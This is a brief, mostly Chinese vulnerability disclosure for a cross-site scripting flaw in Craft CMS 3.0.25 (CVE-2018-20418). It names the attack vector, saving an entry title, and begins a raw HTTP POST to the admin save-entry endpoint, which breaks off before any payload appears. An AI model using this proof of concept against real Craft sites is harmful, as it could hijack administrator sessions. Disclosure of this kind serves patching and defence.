Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - 跨站脚本（Cross-Site-Scripting） Craft CMS 3.0.25 - 跨站脚本漏洞 CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 概念验证 通过从控制台标签页保存新标题，即可执行跨站脚本（XSS）攻击。 POST /admin-panel-path/index.php?p=admin/actions/entries/save-entry HTTP/1.1 Host: IP:PORT User-Agent: Mozilla/5.0 Windows NT 6.1;...